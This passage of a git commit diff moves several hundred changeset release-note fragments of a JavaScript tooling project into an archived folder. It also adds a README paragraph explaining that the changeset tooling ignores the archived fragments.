archived}/3493-extract-milestone-generic-heading.md (100%) rename .changeset/{ => archived}/3517-phase-complete-state-staleness.md (100%) rename .changeset/{ => archived}/3537-phase-regex-fanout.md (100%) rename .changeset/{ => archived}/3541-installer-migration-prompt-user-resolution.md (100%) rename .changeset/{ => archived}/3542-executor-git-stash-prohibition.md (100%) rename .changeset/{ => archived}/3544-workstream-inventory-builder.md (100%) rename .changeset/{ => archived}/3562-codex-install-skill-surface.md (100%) rename .changeset/{ => archived}/3566-codex-hooks-canonical-feature-key.md (100%) rename .changeset/{ => archived}/3571-configuration-manifest-install-layout.md (100%) rename .changeset/{ => archived}/3577-adr-violations-and-validation-port.md (100%) rename .changeset/{ => archived}/3577-config-ensure-section-parity.md (100%) rename .changeset/{ => archived}/3577-docker-test-fixup.md (100%) rename .changeset/{ => archived}/3589-planning-paths-workstream-validation.md (100%) rename .changeset/{ => archived}/3591-gsdtools-native-workstream.md (100%) rename .changeset/{ => archived}/3593-cli-negative-matrix-harness.md (100%) rename .changeset/{ => archived}/3594-parser-adversarial-fixtures.md (100%) rename .changeset/{ => archived}/3595-fs-fault-injection-atomic-write.md (100%) rename .changeset/{ => archived}/3597-test-suite-split-node-matrix.md (100%) rename .changeset/{ => archived}/3597-windows-argv-overflow.md (100%) rename .changeset/{ => archived}/3599-roadmap-get-phase-project-code-prefix.md (100%) rename .changeset/{ => archived}/3600-milestone-phase-filter-project-code.md (100%) rename .changeset/{ => archived}/3601-phase-remove-decimal-section-loss.md (100%) rename .changeset/{ => archived}/3602-phase-remove-slugged-plan-refs.md (100%) rename .changeset/{ => archived}/3605-stale-agent-command-refs.md (100%) rename .changeset/{ => archived}/3608-antigravity-update-runtime.md (100%) rename .changeset/{ => archived}/3610-codex-install-bundled-hooks-blocker.md (100%) rename .changeset/{ => archived}/3621-cherry-pick-test-fixtures.md (100%) rename .changeset/{ => archived}/3628-bundled-hook-whitelist.md (100%) rename .changeset/{ => archived}/3643-resolve-model-claude-runtime.md (100%) rename .changeset/{ => archived}/3653-graphify-hook-sdk-commit-visibility.md (100%) rename .changeset/{ => archived}/3689-resume-glob-nomatch-fix.md (100%) rename .changeset/{ => archived}/370-affected-tests-exclude-install-slow.md (100%) rename .changeset/{ => archived}/3707-worktree-orphan-reap.md (100%) rename .changeset/{ => archived}/3740-consolidate-phase-tests.md (100%) rename .changeset/{ => archived}/3742-consolidate-worktree-tests.md (100%) rename .changeset/{ => archived}/3753-consolidate-milestone-tests.md (100%) rename .changeset/{ => archived}/3755-consolidate-init-tests.md (100%) rename .changeset/{ => archived}/3757-consolidate-runtime-artifact-layout.md (100%) rename .changeset/{ => archived}/3758-consolidate-installer-tests.md (100%) rename .changeset/{ => archived}/376-claude-js-hook-gsd-rewriter.md (100%) rename .changeset/{ => archived}/3761-consolidate-graphify-tests.md (100%) rename .changeset/{ => archived}/3772-fix-acquirestatelock-non-eexist.md (100%) rename .changeset/{ => archived}/3776-fix-acquirestatelock-retry-allowlist.md (100%) rename .changeset/{ => archived}/378-update-check-scoped-name.md (100%) rename .changeset/{ => archived}/3804-worktree-cleanup-summary-rescue.md (100%) rename .changeset/{ => archived}/3805-fast-md-log-to-state-schema-aware.md (100%) rename .changeset/{ => archived}/3806-cjs-bundle-drift-w005-w006-i001.md (100%) rename .changeset/{ => archived}/3808-codex-adapter-text-mode-fallback.md (100%) rename .changeset/{ => archived}/3815-phase-insert-bullet-roadmap.md (100%) rename .changeset/{ => archived}/3816-milestone-archive-version-sort.md (100%) rename .changeset/{ => archived}/384-agents-dir-runtime-aware.md (100%) rename .changeset/{ => archived}/397-state-preserve-executor-authored.md (100%) rename .changeset/{ => archived}/407-planning-lock-sab-hoist.md (100%) rename .changeset/{ => archived}/408-ci-test-scope-smoke-alignment.md (100%) rename .changeset/{ => archived}/410-install-defaults-test-mode-guard.md (100%) rename .changeset/{ => archived}/416-active-milestone-archive-null.md (100%) rename .changeset/{ => archived}/442-config-dir-equals-truncation.md (100%) rename .changeset/{ => archived}/444-resolver-local-claude-path.md (100%) rename .changeset/{ => archived}/498-package-identity-seam.md (100%) rename .changeset/{ => archived}/5-decision-coverage-xml-bodies.md (100%) rename .changeset/{ => archived}/501-flat-phase-details-milestone-leak.md (100%) rename .changeset/{ => archived}/503-antigravity-agent-local-detection.md (100%) rename .changeset/{ => archived}/546-changelog-1-2-0.md (100%) rename .changeset/{ => archived}/549-total-phases-decimal-overcounting.md (100%) rename .changeset/{ => archived}/557-details-summary-milestone-strip.md (100%) rename .changeset/{ => archived}/566-spawn-liveness-banner.md (100%) rename .changeset/{ => archived}/604-rename-get-shit-done-to-gsd-core.md (100%) rename .changeset/{ => archived}/614-discuss-phase-shim-resolution.md (100%) create mode 100644 .changeset/archived/README.md rename .changeset/{ => archived}/adr-0002-command-contract-validation.md (100%) rename .changeset/{ => archived}/agile-birds-cheer.md (100%) rename .changeset/{ => archived}/blue-stones-topology.md (100%) rename .changeset/{ => archived}/bold-elks-zip.md (100%) rename .changeset/{ => archived}/bold-finches-rally.md (100%) rename .changeset/{ => archived}/bold-orcas-howl.md (100%) rename .changeset/{ => archived}/brave-mice-build.md (100%) rename .changeset/{ => archived}/brave-wolves-rally.md (100%) rename .changeset/{ => archived}/bright-pumas-fold.md (100%) rename .changeset/{ => archived}/bug-3446-resume-continue-here-discovery.md (100%) rename .changeset/{ => archived}/build-hooks-atomic-write.md (100%) rename .changeset/{ => archived}/calm-birds-greet.md (100%) rename .changeset/{ => archived}/calm-cranes-roar.md (100%) rename .changeset/{ => archived}/calm-herons-wake.md (100%) rename .changeset/{ => archived}/calm-ibex-jump.md (100%) rename .changeset/{ => archived}/calm-koalas-hop.md (100%) rename .changeset/{ => archived}/calm-tigers-click.md (100%) rename .changeset/{ => archived}/calm-tigers-frolic.md (100%) rename .changeset/{ => archived}/careful-model-transport.md (100%) rename .changeset/{ => archived}/clever-deer-wander.md (100%) rename .changeset/{ => archived}/clever-pumas-frolic.md (100%) rename .changeset/{ => archived}/clever-wasps-parade.md (100%) rename .changeset/{ => archived}/clever-yaks-cheer.md (100%) rename .changeset/{ => archived}/clever-zebras-snooze.md (100%) rename .changeset/{ => archived}/code-review-flags-ts-migration.md (100%) rename .changeset/{ => archived}/code-review-leaf-batch-1-ts.md (100%) rename .changeset/{ => archived}/codex-bare-node-fix.md (100%) rename .changeset/{ => archived}/codex-discuss-fallback.md (100%) rename .changeset/{ => archived}/codex-windows-bash-runner.md (100%) rename .changeset/{ => archived}/codex-windows-hook-script-paths.md (100%) rename .changeset/{ => archived}/cool-monkeys-smell.md (100%) rename .changeset/{ => archived}/crisp-seams-align.md (100%) rename .changeset/{ => archived}/curious-bears-march.md (100%) rename .changeset/{ => archived}/curious-bears-zip.md (100%) rename .changeset/{ => archived}/curious-cats-parade.md (100%) rename .changeset/{ => archived}/curious-lynx-travel.md (100%) rename .changeset/{ => archived}/curious-tigers-jump.md (100%) rename .changeset/{ => archived}/daring-badgers-munch.md (100%) rename .changeset/{ => archived}/daring-yaks-zip.md (100%) rename .changeset/{ => archived}/disable-milestone-tags.md (100%) rename .changeset/{ => archived}/docs-1-40-0-audit.md (100%) rename .changeset/{ => archived}/dynamic-routing.md (100%) rename .changeset/{ => archived}/eager-badgers-purr.md (100%) rename .changeset/{ => archived}/eager-elks-purr.md (100%) rename .changeset/{ => archived}/eager-elks-romp.md (100%) rename .changeset/{ => archived}/eager-foxes-zip.md (100%) rename .changeset/{ => archived}/eager-hawks-rally.md (100%) rename .changeset/{ => archived}/eager-koalas-zip.md (100%) rename .changeset/{ => archived}/eager-lynx-chatter.md (100%) rename .changeset/{ => archived}/eager-lynx-munch.md (100%) rename .changeset/{ => archived}/eager-pumas-dance.md (100%) rename .changeset/{ => archived}/eager-wolves-tumble.md (100%) rename .changeset/{ => archived}/fair-hawks-play.md (100%) rename .changeset/{ => archived}/feat-3408-skill-profiles.md (100%) rename .changeset/{ => archived}/feat-3408-skill-surface.md (100%) rename .changeset/{ => archived}/feat-41-ship-tdd-audit.md (100%) rename .changeset/{ => archived}/fierce-birds-wake.md (100%) rename .changeset/{ => archived}/fierce-finches-munch.md (100%) rename .changeset/{ => archived}/fierce-geese-march.md (100%) rename .changeset/{ => archived}/fierce-rams-rest.md (100%) rename .changeset/{ => archived}/fix-3-milestone-complete-noise.md (100%) rename .changeset/{ => archived}/fix-3054-doc-anchor-and-token-check.md (100%) rename .changeset/{ => archived}/fix-3056-worktree-path-assertion.md (100%) rename .changeset/{ => archived}/fix-306-learnings-dedupe-index.md (100%) rename .changeset/{ => archived}/fix-3072-findings-probe-assertions.md (100%) rename .changeset/{ => archived}/fix-3087-planner-directive-language.md (100%) rename .changeset/{ => archived}/fix-3088-milestone-state-fallback-sections.md (100%) rename .changeset/{ => archived}/fix-3094-progress-stale-assumptions.md (100%) rename .changeset/{ => archived}/fix-3096-ai-integration-parallel-race.md (100%) rename .changeset/{ => archived}/fix-3097-3099-executor-worktree-path.md (100%) rename .changeset/{ => archived}/fix-3120-secure-phase-empty-register.md (100%) rename .changeset/{ => archived}/fix-3121-gsd-tools-commands-verb.md (100%) rename .changeset/{ => archived}/fix-3126-global-skills-base-runtime.md (100%) rename .changeset/{ => archived}/fix-3127-state-begin-phase-idempotent.md (100%) rename .changeset/{ => archived}/fix-3128-roadmap-plan-count-slug.md (100%) rename .changeset/{ => archived}/fix-3129-validate-commit-bypass.md (100%) rename .changeset/{ => archived}/fix-3130-update-npx-robust.md (100%) rename .changeset/{ => archived}/fix-3135-capture-backlog-workflow.md (100%) rename .changeset/{ => archived}/fix-3150-stats-json-decimal-gap-regression.md (100%) rename .changeset/{ => archived}/fix-3153-statusline-percent-next-phases.md (100%) rename .changeset/{ => archived}/fix-3163-codex-agents-md.md (100%) rename .changeset/{ => archived}/fix-3196-workstream-milestone-op.md (100%) rename .changeset/{ => archived}/fix-3197-gsd-tools-config-whitelist.md (100%) rename .changeset/{ => archived}/fix-3229-model-catalog-source-of-truth.md (100%) rename .changeset/{ => archived}/fix-3321-verifier-probes.md (100%) rename .changeset/{ => archived}/fix-3339-human-needed-verification-pending.md (100%) rename .changeset/{ => archived}/fix-3344-gemini-agent-tool.md (100%) rename .changeset/{ => archived}/fix-3355-phase-remove-roadmap-renumber.md (100%) rename .changeset/{ => archived}/fix-3357-codex-legacy-hooks-json.md (100%) rename .changeset/{ => archived}/fix-3358-sdk-init-progress-models.md (100%) rename .changeset/{ => archived}/fix-3359-stale-sdk-path-version.md (100%) rename .changeset/{ => archived}/fix-3360-codex-execute-worktrees.md (100%) rename .changeset/{ => archived}/fix-3362-windows-powershell-gemini.md (100%) rename .changeset/{ => archived}/fix-3381-init-verify-work-ws.md (100%) rename .changeset/{ => archived}/fix-3384-worktree-merge-safety.md (100%) rename .changeset/{ => archived}/fix-3406-detect-stale-sdk-shadow.md (100%) rename .changeset/{ => archived}/fix-3509-path-spaces-test-suite.md (100%) rename .changeset/{ => archived}/fix-3579-graphify-hook-publish.md (100%) rename .changeset/{ => archived}/fix-3588-npm-audit-clean.md (100%) rename .changeset/{ => archived}/fix-3631-sdk-raw-flag-routers.md (100%) rename .changeset/{ => archived}/fix-3632-lint-handsync-pair-fanout.md (100%) rename .changeset/{ => archived}/fix-3677-agent-colon-namespace-leak.md (100%) rename .changeset/{ => archived}/fix-3678-commit-docs-respect.md (100%) rename .changeset/{ => archived}/fix-canary-2-release-gates.md (100%) rename .changeset/{ => archived}/fix-next-gate-regressions.md (100%) rename .changeset/{ => archived}/forensics-regex-escape.md (100%) rename .changeset/{ => archived}/gallant-badgers-bark.md (100%) rename .changeset/{ => archived}/gallant-ravens-travel.md (100%) rename .changeset/{ => archived}/gemini-skip-local-when-global.md (100%) rename .changeset/{ => archived}/gentle-bears-wave.md (100%) rename .changeset/{ => archived}/gentle-birds-caper.md (100%) rename .changeset/{ => archived}/gentle-goats-fly.md (100%) rename .changeset/{ => archived}/gentle-jays-rest.md (100%) rename .changeset/{ => archived}/gentle-jays-zip.md (100%) rename .changeset/{ => archived}/gentle-tigers-roar.md (100%) rename .changeset/{ => archived}/graceful-geese-tumble.md (100%) rename .changeset/{ => archived}/graceful-jays-hop.md (100%) rename .changeset/{ => archived}/graceful-mice-wave.md (100%) rename .changeset/{ => archived}/graceful-moles-wave.md (100%) rename .changeset/{ => archived}/graceful-otters-wave.md (100%) rename .changeset/{ => archived}/graceful-quails-hop.md (100%) rename .changeset/{ => archived}/graceful-sloths-wake.md (100%) rename .changeset/{ => archived}/graceful-tigers-fly.md (100%) rename .changeset/{ => archived}/happy-dogs-chatter.md (100%) rename .changeset/{ => archived}/happy-herons-snooze.md (100%) rename .changeset/{ => archived}/happy-jays-greet.md (100%) rename .changeset/{ => archived}/happy-jays-wake.md (100%) rename .changeset/{ => archived}/happy-pandas-glide.md (100%) rename .changeset/{ => archived}/happy-tigers-travel.md (100%) rename .changeset/{ => archived}/help-passthrough.md (100%) rename .changeset/{ => archived}/humble-geese-wave.md (100%) rename .changeset/{ => archived}/humble-goats-swim.md (100%) rename .changeset/{ => archived}/humble-pandas-wave.md (100%) rename .changeset/{ => archived}/humble-tunas-leap.md (100%) rename .changeset/{ => archived}/humble-tunas-zip.md (100%) rename .changeset/{ => archived}/install-shell-path-probe.md (100%) rename .changeset/{ => archived}/issue-driven-orchestration.md (100%) rename .changeset/{ => archived}/jolly-cranes-chatter.md (100%) rename .changeset/{ => archived}/jolly-hawks-forage.md (100%) rename .changeset/{ => archived}/jolly-jaguars-leap.md (100%) rename .changeset/{ => archived}/jolly-moles-climb.md (100%) rename .changeset/{ => archived}/jolly-newts-roam.md (100%) rename .changeset/{ => archived}/jolly-pandas-parade.md (100%) rename .changeset/{ => archived}/jolly-pumas-dance.md (100%) rename .changeset/{ => archived}/jolly-quails-caper.md (100%) rename .changeset/{ => archived}/jolly-wolves-hop.md (100%) rename .changeset/{ => archived}/kind-foxes-click.md (100%) rename .changeset/{ => archived}/kind-moles-dance.md (100%) rename .changeset/{ => archived}/kind-tunas-gather.md (100%) rename .changeset/{ => archived}/lively-bears-sprint.md (100%) rename .changeset/{ => archived}/lively-foxes-roam.md (100%) rename .changeset/{ => archived}/lively-goats-run.md (100%) rename .changeset/{ => archived}/lively-lemurs-glide.md (100%) rename .changeset/{ => archived}/lively-moles-caper.md (100%) rename .changeset/{ => archived}/lively-newts-romp.md (100%) rename .changeset/{ => archived}/lively-otters-gather.md (100%) rename .changeset/{ => archived}/lucid-docs-rebrand.md (100%) rename .changeset/{ => archived}/lucky-birds-bark.md (100%) rename .changeset/{ => archived}/lucky-lynx-wave.md (100%) rename .changeset/{ => archived}/mcp-token-budget-docs.md (100%) rename .changeset/{ => archived}/mellow-hawks-greet.md (100%) rename .changeset/{ => archived}/mellow-herons-greet.md (100%) rename .changeset/{ => archived}/mellow-lemurs-click.md (100%) rename .changeset/{ => archived}/mellow-lynx-forage.md (100%) rename .changeset/{ => archived}/mellow-mice-forage.md (100%) rename .changeset/{ => archived}/mellow-tigers-gather.md (100%) rename .changeset/{ => archived}/merry-foxes-climb.md (100%) rename .changeset/{ => archived}/merry-lynx-sing.md (100%) rename .changeset/{ => archived}/merry-lynx-wander.md (100%) rename .changeset/{ => archived}/merry-moles-chatter.md (100%) rename .changeset/{ => archived}/merry-quails-roam.md (100%) rename .changeset/{ => archived}/migration-batch-10-ts.md (100%) rename .changeset/{ => archived}/migration-batch-11-ts.md (100%) rename .changeset/{ => archived}/migration-batch-12-ts.md (100%) rename .changeset/{ => archived}/migration-batch-13-ts.md (100%) rename .changeset/{ => archived}/migration-batch-14-ts.md (100%) rename .changeset/{ => archived}/migration-batch-15-ts.md (100%) rename .changeset/{ => archived}/migration-batch-2-ts.md (100%) rename .changeset/{ => archived}/migration-batch-3-ts.md (100%) rename .changeset/{ => archived}/migration-batch-4-ts.md (100%) rename .changeset/{ => archived}/migration-batch-5-ts.md (100%) rename .changeset/{ => archived}/migration-batch-6-ts.md (100%) rename .changeset/{ => archived}/migration-batch-7-ts.md (100%) rename .changeset/{ => archived}/migration-batch-8-ts.md (100%) rename .changeset/{ => archived}/migration-core-ts.md (100%) rename .changeset/{ => archived}/migration-finalize-ts.md (100%) rename .changeset/{ => archived}/migration-milestone-ts.md (100%) rename .changeset/{ => archived}/mvp-concept-cleanup-canary-prep.md (100%) rename .changeset/{ => archived}/mvp-resolution-verbs-and-fix-sdk-mode.md (100%) rename .changeset/{ => archived}/new-project-agent-diagnostics.md (100%) rename .changeset/{ => archived}/nimble-deer-chatter.md (100%) rename .changeset/{ => archived}/nimble-eagles-romp.md (100%) rename .changeset/{ => archived}/nimble-lynx-tumble.md (100%) rename .changeset/{ => archived}/nimble-seals-munch.md (100%) rename .changeset/{ => archived}/nimble-sloths-zip.md (100%) rename .changeset/{ => archived}/nimble-wolves-dart.md (100%) rename .changeset/{ => archived}/noble-badgers-roar.md (100%) rename .changeset/{ => archived}/noble-jaguars-squeak.md (100%) rename .changeset/{ => archived}/noble-mice-squeak.md (100%) rename .changeset/{ => archived}/noble-otters-hop.md (100%) rename .changeset/{ => archived}/noble-tigers-parade.md (100%) rename .changeset/{ => archived}/noble-yaks-zip.md (100%) rename .changeset/{ => archived}/opengsd-org-rename.md (100%) rename .changeset/{ => archived}/patient-ibex-gather.md (100%) rename .changeset/{ => archived}/patient-ibex-wake.md (100%) rename .changeset/{ => archived}/patient-lemurs-sing.md (100%) rename .changeset/{ => archived}/patient-voles-swim.md (100%) rename .changeset/{ => archived}/per-phase-type-models.md (100%) rename .changeset/{ => archived}/phase-five-installer-migration-guardrails.md (100%) rename .changeset/{ => archived}/plucky-cats-purr.md (100%) rename .changeset/{ => archived}/plucky-eagles-roar.md (100%) rename .changeset/{ => archived}/plucky-herons-sing.md (100%) rename .changeset/{ => archived}/plucky-ibex-gather.md (100%) rename .changeset/{ => archived}/plucky-lemurs-dance.md (100%) rename .changeset/{ => archived}/plucky-moles-roam.md (100%) rename .changeset/{ => archived}/plucky-otters-roam.md (100%) rename .changeset/{ => archived}/plucky-pandas-sprint.md (100%) rename .changeset/{ => archived}/plucky-pumas-tumble.md (100%) rename .changeset/{ => archived}/plucky-rams-climb.md (100%) rename .changeset/{ => archived}/plucky-tunas-howl.md (100%) rename .changeset/{ => archived}/plucky-yaks-forage.md (100%) rename .changeset/{ => archived}/portable-bash-shebang-hooks.md (100%) rename .changeset/{ => archived}/pr-3112-release-note.md (100%) rename .changeset/{ => archived}/pr-3113-release-note.md (100%) rename .changeset/{ => archived}/pr-3115-release-note.md (100%) rename .changeset/{ => archived}/pr-3116-release-note.md (100%) rename .changeset/{ => archived}/pr-3118-release-note.md (100%) rename .changeset/{ => archived}/pr-3123-release-note.md (100%) rename .changeset/{ => archived}/pr-3124-release-note.md (100%) rename .changeset/{ => archived}/pr-3125-release-note.md (100%) rename .changeset/{ => archived}/proud-elks-snooze.md (100%) rename .changeset/{ => archived}/proud-sloths-rally.md (100%) rename .changeset/{ => archived}/quick-cranes-purr.md (100%) rename .changeset/{ => archived}/quick-deer-squeak.md (100%) rename .changeset/{ => archived}/quick-geese-hum.md (100%) rename .changeset/{ => archived}/quick-otters-run.md (100%) rename .changeset/{ => archived}/quick-pumas-fly.md (100%) rename .changeset/{ => archived}/quick-quails-wake.md (100%) rename .changeset/{ => archived}/quick-rams-wave.md (100%) rename .changeset/{ => archived}/quick-voles-sprint.md (100%) rename .changeset/{ => archived}/quiet-geckos-switch.md (100%) rename .changeset/{ => archived}/rapid-dogs-run.md (100%) rename .changeset/{ => archived}/rapid-goats-munch.md (100%) rename .changeset/{ => archived}/rapid-voles-hop.md (100%) rename .changeset/{ => archived}/research-flag-and-stale-refs.md (100%) rename .changeset/{ => archived}/rewire-orphaned-workflows-3131.md (100%) rename .changeset/{ => archived}/scrub-stale-command-routes.md (100%) rename .changeset/{ => archived}/sdk-init-phase-flags.md (100%) rename .changeset/{ => archived}/serene-pandas-zip.md (100%) rename .changeset/{ => archived}/sharp-badgers-squeak.md (100%) rename .changeset/{ => archived}/sharp-quails-leap.md (100%) rename .changeset/{ => archived}/sharp-yaks-climb.md (100%) rename .changeset/{ => archived}/shell-projection-cleanup.md (100%) rename .changeset/{ => archived}/shell-projection-fs-migration.md (100%) rename .changeset/{ => archived}/shell-projection-io-seam.md (100%) rename .changeset/{ => archived}/shell-projection-subprocess-migration.md (100%) rename .changeset/{ => archived}/ship-verification-actionable.md (100%) rename .changeset/{ => archived}/silly-badgers-frolic.md (100%) rename .changeset/{ => archived}/silly-finches-travel.md (100%) rename .changeset/{ => archived}/silly-foxes-sing.md (100%) rename .changeset/{ => archived}/silly-foxes-wander.md (100%) rename .changeset/{ => archived}/silly-jaguars-sing.md (100%) rename .changeset/{ => archived}/silly-jaguars-swim.md (100%) rename .changeset/{ => archived}/silly-newts-swim.md (100%) rename .changeset/{ => archived}/silly-orcas-dance.md (100%) rename .changeset/{ => archived}/silly-seals-parade.md (100%) rename .changeset/{ => archived}/silly-yaks-parade.md (100%) rename .changeset/{ => archived}/steady-badgers-rest.md (100%) rename .changeset/{ => archived}/steady-bears-purr.md (100%) rename .changeset/{ => archived}/steady-geese-hum.md (100%) rename .changeset/{ => archived}/steady-jays-click.md (100%) rename .changeset/{ => archived}/steady-jays-sing.md (100%) rename .changeset/{ => archived}/steady-pandas-purr.md (100%) rename .changeset/{ => archived}/steady-ravens-shape.md (100%) rename .changeset/{ => archived}/steady-shell-projection.md (100%) rename .changeset/{ => archived}/steady-yaks-caper.md (100%) rename .changeset/{ => archived}/steady-zebras-click.md (100%) rename .changeset/{ => archived}/sturdy-finches-fly.md (100%) rename .changeset/{ => archived}/sturdy-finches-sprint.md (100%) rename .changeset/{ => archived}/sturdy-geese-glide.md (100%) rename .changeset/{ => archived}/sturdy-geese-roam.md (100%) rename .changeset/{ => archived}/sturdy-jays-glide.md (100%) rename .changeset/{ => archived}/sturdy-lynx-forage.md (100%) rename .changeset/{ => archived}/sturdy-lynx-march.md (100%) rename .changeset/{ => archived}/sturdy-moles-bark.md (100%) rename .changeset/{ => archived}/sturdy-otters-purr.md (100%) rename .changeset/{ => archived}/sturdy-pandas-rest.md (100%) rename .changeset/{ => archived}/sturdy-pumas-sing.md (100%) rename .changeset/{ => archived}/sturdy-rams-caper.md (100%) rename .changeset/{ => archived}/sturdy-rams-forage.md (100%) rename .changeset/{ => archived}/sturdy-sloths-hum.md (100%) rename .changeset/{ => archived}/sturdy-wolves-frolic.md (100%) rename .changeset/{ => archived}/sturdy-wolves-glide.md (100%) rename .changeset/{ => archived}/sturdy-writers-survive.md (100%) rename .changeset/{ => archived}/sunny-dogs-frolic.md (100%) rename .changeset/{ => archived}/sunny-herons-bark.md (100%) rename .changeset/{ => archived}/sunny-ibex-wave.md (100%) rename .changeset/{ => archived}/sunny-lynx-rally.md (100%) rename .changeset/{ => archived}/sunny-pandas-dance.md (100%) rename .changeset/{ => archived}/sunny-quails-swim.md (100%) rename .changeset/{ => archived}/swift-coyotes-document.md (100%) rename .changeset/{ => archived}/swift-otter-hum.md (100%) rename .changeset/{ => archived}/swift-otter-pebble.md (100%) rename .changeset/{ => archived}/swift-sets-dedupe.md (100%) rename .changeset/{ => archived}/tidy-finches-caper.md (100%) rename .changeset/{ => archived}/tidy-goats-cheer.md (100%) rename .changeset/{ => archived}/tidy-herons-dance.md (100%) rename .changeset/{ => archived}/tidy-moles-rest.md (100%) rename .changeset/{ => archived}/tidy-orcas-romp.md (100%) rename .changeset/{ => archived}/tidy-tigers-dance.md (100%) rename .changeset/{ => archived}/tidy-tunas-zip.md (100%) rename .changeset/{ => archived}/tidy-voles-rally.md (100%) rename .changeset/{ => archived}/typed-json-surfaces-455.md (100%) rename .changeset/{ => archived}/typed-rivers-flow.md (100%) rename .changeset/{ => archived}/update-banner-opt-in.md (100%) rename .changeset/{ => archived}/verifier-debt-gate.md (100%) rename .changeset/{ => archived}/vivid-eagles-climb.md (100%) rename .changeset/{ => archived}/vivid-foxes-romp.md (100%) rename .changeset/{ => archived}/vivid-jaguars-tumble.md (100%) rename .changeset/{ => archived}/vivid-tunas-sing.md (100%) rename .changeset/{ => archived}/w005-w006-i001-generator-migration.md (100%) rename .changeset/{ => archived}/windows-npm-shell-fix.md (100%) rename .changeset/{ => archived}/wise-foxes-romp.md (100%) rename .changeset/{ => archived}/wise-hawks-bark.md (100%) rename .changeset/{ => archived}/wise-koalas-climb.md (100%) rename .changeset/{ => archived}/wise-mice-cheer.md (100%) rename .changeset/{ => archived}/wise-pumas-glide.md (100%) rename .changeset/{ => archived}/wise-pumas-march.md (100%) rename .changeset/{ => archived}/wise-rams-gather.md (100%) rename .changeset/{ => archived}/wise-yaks-run.md (100%) rename .changeset/{ => archived}/witty-bears-climb.md (100%) rename .changeset/{ => archived}/witty-geese-purr.md (100%) rename .changeset/{ => archived}/witty-hawks-jump.md (100%) rename .changeset/{ => archived}/witty-newts-greet.md (100%) rename .changeset/{ => archived}/witty-wasps-hum.md (100%) rename .changeset/{ => archived}/yaml-echo-colon-escape.md (100%) rename .changeset/{ => archived}/zesty-eagles-fly.md (100%) rename .changeset/{ => archived}/zesty-goats-dart.md (100%) rename .changeset/{ => archived}/zesty-jays-wake.md (100%) rename .changeset/{ => archived}/zesty-moles-forage.md (100%) rename .changeset/{ => archived}/zesty-quails-wave.md (100%) rename .changeset/{ => archived}/zesty-ravens-rest.md (100%) rename .changeset/{ => archived}/zesty-voles-roar.md (100%) diff --git a/.changeset/README.md b/.changeset/README.md index 7903c406e..83bf9f84a 100644 --- a/.changeset/README.md +++ b/.changeset/README.md @@ -42,3 +42,7 @@ node scripts/changeset/cli.cjs render --version vX.Y.Z --date YYYY-MM-DD ``` Reads every fragment, groups bullets by `type:`, replaces `## [Unreleased]` with a new `## [vX.Y.Z] - YYYY-MM-DD` block, opens a fresh `## [Unreleased]` above, deletes consumed fragments. Idempotent. + +## Archived fragments + +`.changeset/archived/` holds fragments for already-shipped releases (≤ 1.3.1), retained for provenance. Their content was hand-curated into the dated `## [1.x.y]` sections of `CHANGELOG.md` during the #690 backfill — they were never consumed by `render`. All changeset tooling enumerates `.changeset/` non-recursively, so archived fragments are never picked up or rendered. Do not move them back to the top level. diff --git a/.changeset/105-no-auto-switch-worktrees-false.md b/.changeset/archived/105-no-auto-switch-worktrees-false.md similarity index 100% rename from .changeset/105-no-auto-switch-worktrees-false.md rename to .changeset/archived/105-no-auto-switch-worktrees-false.md diff --git a/.changeset/113-malicious-markdown-links.md b/.changeset/archived/113-malicious-markdown-links.md similarity index 100% rename from .changeset/113-malicious-markdown-links.md rename to .changeset/archived/113-malicious-markdown-links.md diff --git a/.changeset/117-npm-bootstrap.md b/.changeset/archived/117-npm-bootstrap.md similarity index 100% rename from .changeset/117-npm-bootstrap.md rename to .changeset/archived/117-npm-bootstrap.md diff --git a/.changeset/130-finishinstall-testmode-guard.md b/.changeset/archived/130-finishinstall-testmode-guard.md similarity index 100% rename from .changeset/130-finishinstall-testmode-guard.md rename to .changeset/archived/130-finishinstall-testmode-guard.md diff --git a/.changeset/138-nyquist-config-get-default.md b/.changeset/archived/138-nyquist-config-get-default.md similarity index 100% rename from .changeset/138-nyquist-config-get-default.md rename to .changeset/archived/138-nyquist-config-get-default.md diff --git a/.changeset/14-progress-auto-flag.md b/.changeset/archived/14-progress-auto-flag.md similarity index 100% rename from .changeset/14-progress-auto-flag.md rename to .changeset/archived/14-progress-auto-flag.md diff --git a/.changeset/142-runtime-name-policy-aliases.md b/.changeset/archived/142-runtime-name-policy-aliases.md similarity index 100% rename from .changeset/142-runtime-name-policy-aliases.md rename to .changeset/archived/142-runtime-name-policy-aliases.md diff --git a/.changeset/160-route0-resume-incomplete-phase.md b/.changeset/archived/160-route0-resume-incomplete-phase.md similarity index 100% rename from .changeset/160-route0-resume-incomplete-phase.md rename to .changeset/archived/160-route0-resume-incomplete-phase.md diff --git a/.changeset/166-windows-claude-sh-hook-command.md b/.changeset/archived/166-windows-claude-sh-hook-command.md similarity index 100% rename from .changeset/166-windows-claude-sh-hook-command.md rename to .changeset/archived/166-windows-claude-sh-hook-command.md diff --git a/.changeset/167-query-meta-command.md b/.changeset/archived/167-query-meta-command.md similarity index 100% rename from .changeset/167-query-meta-command.md rename to .changeset/archived/167-query-meta-command.md diff --git a/.changeset/170-workflow-fallback-package-hint.md b/.changeset/archived/170-workflow-fallback-package-hint.md similarity index 100% rename from .changeset/170-workflow-fallback-package-hint.md rename to .changeset/archived/170-workflow-fallback-package-hint.md diff --git a/.changeset/176-hub-p1.2-review-findings.md b/.changeset/archived/176-hub-p1.2-review-findings.md similarity index 100% rename from .changeset/176-hub-p1.2-review-findings.md rename to .changeset/archived/176-hub-p1.2-review-findings.md diff --git a/.changeset/176-typed-result-discriminated-union.md b/.changeset/archived/176-typed-result-discriminated-union.md similarity index 100% rename from .changeset/176-typed-result-discriminated-union.md rename to .changeset/archived/176-typed-result-discriminated-union.md diff --git a/.changeset/177-observability-seam.md b/.changeset/archived/177-observability-seam.md similarity index 100% rename from .changeset/177-observability-seam.md rename to .changeset/archived/177-observability-seam.md diff --git a/.changeset/178-trace-id-propagation.md b/.changeset/archived/178-trace-id-propagation.md similarity index 100% rename from .changeset/178-trace-id-propagation.md rename to .changeset/archived/178-trace-id-propagation.md diff --git a/.changeset/191-retire-sdk-package-seam.md b/.changeset/archived/191-retire-sdk-package-seam.md similarity index 100% rename from .changeset/191-retire-sdk-package-seam.md rename to .changeset/archived/191-retire-sdk-package-seam.md diff --git a/.changeset/192-retire-sdk-release-pipeline.md b/.changeset/archived/192-retire-sdk-release-pipeline.md similarity index 100% rename from .changeset/192-retire-sdk-release-pipeline.md rename to .changeset/archived/192-retire-sdk-release-pipeline.md diff --git 